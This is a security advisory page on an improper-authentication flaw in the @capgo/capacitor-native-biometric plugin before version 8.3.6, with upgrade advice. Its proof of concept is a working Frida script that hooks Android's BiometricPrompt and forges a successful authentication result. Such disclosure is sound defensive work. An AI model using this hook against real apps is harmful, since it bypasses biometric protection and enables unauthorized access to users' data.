Improper Authentication Affecting @capgo/capacitor-native-biometric package, versions <8.3.6
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-CAPGOCAPACITORNATIVEBIOMETRIC-15279222
- published13 Feb 2026
- disclosed10 Feb 2026
- creditJack Moran
Introduced: 10 Feb 2026
CVE-2026-56294 (opens in a new tab)How to fix?
Upgrade @capgo/capacitor-native-biometric to version 8.3.6 or higher.
Overview
@capgo/capacitor-native-biometric is a This plugin gives access to the native biometric apis for android and iOS
Affected versions of this package are vulnerable to Improper Authentication via the onAuthenticationSucceeded function. An attacker can gain unauthorized access by hooking and invoking this function without proper validation of the authentication result.
PoC
Java.perform(function () {
hookBiometricPrompt();
});
function getBiometricAuthResult(resultObj, cryptoInst) {
var authenticationResultInst = resultObj.$new(cryptoInst, 0);
return authenticationResultInst;
};
function getBiometricPromptResult() {
var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
var cryptoInst = cryptoObj.$new(null);
var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);
return authenticationResultInst
};
function hookBiometricPrompt() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate()...");
biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
var authenticationResultInst = getBiometricPromptResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
};